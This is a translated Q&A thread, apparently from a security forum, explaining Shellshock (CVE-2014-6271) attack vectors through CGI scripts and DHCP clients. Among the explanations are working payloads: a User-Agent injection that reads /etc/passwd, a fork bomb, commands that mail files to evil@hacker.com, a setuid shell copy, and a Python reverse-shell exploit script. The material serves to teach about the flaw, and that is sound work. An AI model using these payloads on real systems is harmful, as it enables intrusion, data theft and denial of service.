我阅读了一些有关Shellshock Bash错误(2014年9月24日报告的CVE-2014-6271)的文章(第1条,第2条,第3条,第4条),并对漏洞是什么以及如何加以利用有一个大致的了解。为了更好地理解该错误的含义,可以利用该错误的简单的攻击媒介/场景示例是什么?

评论

新的Bash漏洞的Attack(攻击)方案的可能副本

@Gilles您创建了一个反馈循环gj

对于希望了解完整的apache Web服务器攻击情形(包括没有SSH访问权限的攻击者如何甚至可以首先到达Bash)的任何人,请参阅如何保护Apache免受Bash Shellshock漏洞的侵害?其中讨论了Apache使用Bash的一些可能令人惊讶的方式。 tldr;有几个,所以打补丁Bash。

关于SU的示例:这是攻击还是值得关注的事情? Shellshock?

#1 楼

一个非常简单的示例是cgi,/ var / www / cgi-bin / test.cgi:

#!/bin/bash
echo "Content-type: text/plain"
echo 
echo
echo "Hi"


然后用wget调用以换出用户代理串。例如。这将显示/ etc / passwd的内容:

wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://10.248.2.15/cgi-bin/test.cgi


将其分解:

"() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"


看起来像:

() {
    test
}
echo \"Content-type: text/plain\"
echo
echo
/bin/cat /etc/passwd


据我了解,问题在于,虽然可以在环境变量中定义函数,但bash不应在其后执行代码。

额外的“ Content-type:”仅用于说明。它可以防止500错误并显示文件的内容。

上面的示例还显示了它不是编程错误的问题,即使是通常安全且无害的bash cgi,它甚至都不需要用户输入可以被利用。

评论


非常好@mgjk。简单而具体,正是我想要的。谢谢!

–罗布·贝德纳克
2014-09-25 17:38

谢谢,这很有用。同样,它应该是“ /var/www/cgi-bin/testing.cgi”以匹配wget示例(但是我们得到了图片)。如果已打补丁,我认为下载的文件只会说“嗨”,对吗?

– HidekiAI
2014年9月25日在21:15

@SamWatkins我针对php系统(“ / usr / bin / ls”)调用尝试了此操作,但是无法生成任何异常行为。我也在其他地方听到过您的主张,您能够利用它吗?

– mgjk
2014年9月26日在2:02

作为CGI设计的一部分,可以逐字逐句地使用环境变量。所以某处有一个var userAgent = headers [“ User-Agent”]吗?

– Wal
2014年9月28日在2:04



@ rubo77针对shellshock的CGI攻击只是一种攻击媒介。另一个媒介是Linux系统的DHCP客户端。我希望会有更多。上面的示例仅适用于cgi。最好不要假设我们知道所有向量。

– mgjk
2014年9月29日在12:21

#2 楼

通过访问bash,甚至可以从Web用户的POV中访问,都可以无休止地进行选择。例如,这是一个叉子炸弹:

() { :; }; :(){ :|: & };:


只需将其放在浏览器中的用户代理字符串中,转到您的网页,并在您的Web服务器上即时进行DoS

或者,有人可以将您的服务器用作攻击机器人:

() { :; }; ping -s 1000000 <victim IP>


将其放在其他几台服务器上,您正在谈论实际带宽。

其他攻击媒介:

# theft of data
() { :; }; find ~ -print | mail -s "Your files" evil@hacker.com
() { :; }; cat ~/.secret/passwd | mail -s "This password file" evil@hacker.com

# setuid shell
() { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash


还有无数其他可能性:反向Shell,在端口上运行服务器,自动下载一些rootkit从Web用户转到root用户。这是壳!它可以做任何事情。就安全灾难而言,这甚至比Heartbleed还要糟糕。

重要的部分是对系统进行修补。现在!如果仍然有未打补丁的面向外部的服务器,那么您还在阅读此内容吗?!

黑客已经在上面做这些事情了,您甚至都不知道!

评论


您是否实际尝试过这些攻击(尤其是第一个示例),还是只是假设它们起作用?我问是因为我在易受攻击的Ubuntu Precision和Nada上尝试了这些...

–lightxx
2014-09-25 13:01

这是一个很好的答案,但我不确定它是否能正确回答问题。网络用户将如何通过浏览器利用此漏洞?

– TimC
2014-09-25 13:06

@ Ajedi32,“旧的” CGI协议与环境变量完全通信,例如HTTP_USER_AGENT变成一个变量。因此,如果将其设置在客户端,则可能会通过攻击。

– Alex Lehmann
2014-09-25 14:52

这个答案可能可以从对漏洞利用本身的更彻底的解释中受益。例如。将这些字符串放在用户代理中如何导致bash执行它们?

– Ajedi32
2014-09-25 14:59

您的“数据盗窃”示例是向后的,还是此漏洞中确实有某些东西确实在改变管道的工作方式?

–罗伯特·诺瓦克(Robert Novak)
2014-09-25 15:38

#3 楼

不只是服务器;客户端软件也会受到影响。这是一个易受攻击的DHCP客户端的示例。如果一台计算机具有这样的易受攻击的客户端(并且bash损坏),则子网上的任何计算机都可以发送格式错误的DHCP响应并获得root特权。

由于广泛使用环境变量来共享进程中的状态Unix和可能涉及的软件数量很大,攻击面非常大。不要认为您的机器安全,因为您没有运行Web服务器。唯一的解决方法是修补bash,考虑切换到不太复杂的默认外壳程序(例如破折号),并希望那里没有更多类似的漏洞。

评论


坦率地说,DHCP漏洞对我的影响更大。我有经验的每个发行版都以非特权用户身份运行Web服务,因此损害仅限于不受保护的文件(/ etc / passwd听起来很吓人,但只不过是用户列表而已,它可以为密码猜测,但是...)和Web服务本身(我没有运行)。但是可能每个DHCP客户端都以root身份运行,每个人都运行一个。这将是公共WiFi热点中的一个大问题,除非它使来宾彼此隔离。

–BobDoolittle
2014-09-26 18:06



#4 楼

您无需显式使用bash即可解决此问题。真正的问题是让攻击者对环境变量的值有发言权。设置环境之后,使用某些尚未准备好的环境执行某些shell(可能对您来说是未知的)只是时间问题。

每个程序(bash,java,tcl,php等)都具有以下签名:

int main(int argc, char** argv, char** arge);


开发人员习惯于检查argc和argv的清洁度。大多数人会忽略arge,并且在生成子shell(显式或隐式)之前不会尝试对其进行验证。而且在这种情况下,bash无法正确防御错误输入。为了将应用程序连接在一起,将生成子流程。在它的底部,发生了这样的事情:

//We hardcoded the binary, and cleaned the arg, so we assume that
//there can be no malicious input - but the current environment is passed
//in implicitly.
execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);


在您自己的代码中,可能没有对bash的引用。但是也许您启动了tcl,而tcl代码中深处的内容为您启动了bash。它会继承当前设置的环境变量。

对于易受攻击的bash版本,将发生以下情况:

int main(int argc, char** argv, char** arge) { //bash's main function
    ....
    parseEnvironment(arge); //!!!! read function definitions and var defines
    ....
    doArgv(argc, argv);
    ....
}


在parseEnvironment处看到了一堆甚至不需要识别的环境变量定义。但是它会猜测其中一些环境变量是函数定义:

INITTECH_HOME=/opt/initTech
HTTP_COOKIE=() { :; }; /usr/bin/eject


Bash不知道HTTP_COOKIE是什么。但是它以()开头,因此bash猜测这是一个函数定义。它还可以帮助您在函数定义之后添加一些立即执行的代码,因为也许您需要使用函数定义来初始化一些副作用。该补丁删除了在功能定义之后添加副作用的功能。

但是,环境变量可以随攻击者提供的函数定义处于休眠状态的整个想法仍然令人非常不安!

recieve='() { echo you meant receive lol; }'


如果攻击者可以使此变量名获得它提供的值,并且知道它可以等待bash子进程尝试使用该名称调用函数,则这将是另一个攻击媒介。

这只是验证您输入内容的旧建议。由于可能会产生一些令人惊讶的实现细节,因此请不要将环境变量设置为未经严格验证的值。这意味着任何可能读取此环境变量的程序都不会对该值做意外的事情。例如将其作为代码执行。

今天是bash。明天是java,sh,tcl或node。它们都将环境指针带入其主要功能。并且它们在安全处理方面都有不同的限制(直到对其进行修补)。

评论


那就对了。这个故事的寓意是永远不要相信用户的输入。

–问题溢出
2014年9月27日在7:46

我认为允许某人设置环境变量和函数是有意的,而错误是另外还会执行代码?好的,设置环境函数听起来很危险,但这不是Shellshock漏洞-它是“功能”。

– gnasher729
2014-09-29 7:51



如果您在星期五更新,则可以在函数定义之后添加立即代码。如果再次更新,它也将失去执行此操作的能力(很好!):x ='(){echo foo; }'bash -c foo

–抢夺
2014年9月29日下午21:18

#5 楼

这是通过CGI脚本进行的未经测试的远程攻击示例,未经测试-取自http://pastebin.com/166f8Rjx

像所有利用漏洞的方式都取决于环境。连接到Web服务器上的远程cgi文件并启动反向Shell

(){已忽略;}; / bin / bash -i>&/ dev / tcp /%s 0>&1“ %sys.argv [3]

#
#CVE-2014-6271 cgi-bin reverse shell
#

import httplib,urllib,sys

if (len(sys.argv)<4):
    print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
    print "Example: %s localhost /cgi-bin/test.cgi 10.0.0.1/8080" % sys.argv[0]
    exit(0)

conn = httplib.HTTPConnection(sys.argv[1])
reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": "application/x-www-form-urlencoded",
    "test":reverse_shell }
conn.request("GET",sys.argv[2],headers=headers)
res = conn.getresponse()
print res.status, res.reason
data = res.read()
print data